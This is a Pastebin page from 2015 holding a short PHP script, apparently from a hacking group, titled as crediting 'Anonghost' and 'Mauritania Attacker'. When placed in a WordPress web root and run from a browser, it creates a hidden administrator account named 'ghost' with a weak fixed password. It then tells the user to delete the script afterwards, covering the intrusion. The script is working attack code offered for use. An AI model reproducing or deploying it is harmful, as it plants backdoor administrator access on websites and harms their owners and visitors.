Kyfx

Anonghost Credits Wp Admin add script

Jun 5th, 2015
332
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. <?php
  2. // Admin User Auto Add Coded By Mauritania Attacker
  3. // Don't Forget to remove this script after user add !
  4. // Put this file in your Wordpress /Public_html Directory and run it from your browser \!/
  5.  
  6.  
  7. require_once('wp-blog-header.php');
  8. require_once('wp-includes/registration.php');
  9.  
  10. // Change this , you are free to put the logins you want ^_^
  11. $newusername = 'ghost';
  12. $newpassword = '12345678';
  13. $newemail = 'youremailhere';
  14.  
  15. // Set The Configs vars
  16. if ( $newpassword != 'YOURPASSWORD' && $newemail != 'YOUREMAIL@TEST.com' && $newusername !='YOURUSERNAME' )
  17. {
  18. // Check that the user doesn't exist already
  19. if ( !username_exists($newusername) && !email_exists($newemail) )
  20. {
  21. // Create the admin user and set the role to Administrator
  22. $user_id = wp_create_user( $newusername, $newpassword, $newemail);
  23. if ( is_int($user_id) )
  24. {
  25. $wp_user_object = new WP_User($user_id);
  26. $wp_user_object->set_role('administrator');
  27. echo 'Successfully created new admin user. Now delete this script ^_^ and dont be lazy ! new user:ghost and new pass:12345678';
  28. }
  29. else {
  30. echo 'Error with wp_insert_user. No users were created , you are drunk man xD go watch cartoon !';
  31. }
  32. }
  33. else {
  34. echo 'This user or email already exists , you are drunk man xD put glasses °_° !';
  35. }
  36. }
  37. else {
  38. echo "You didn't set a password, username, or email inside the script before running the script , you drunk man xD !";
  39. }
  40.  
  41. ?>
Add Comment
Please, Sign In to add comment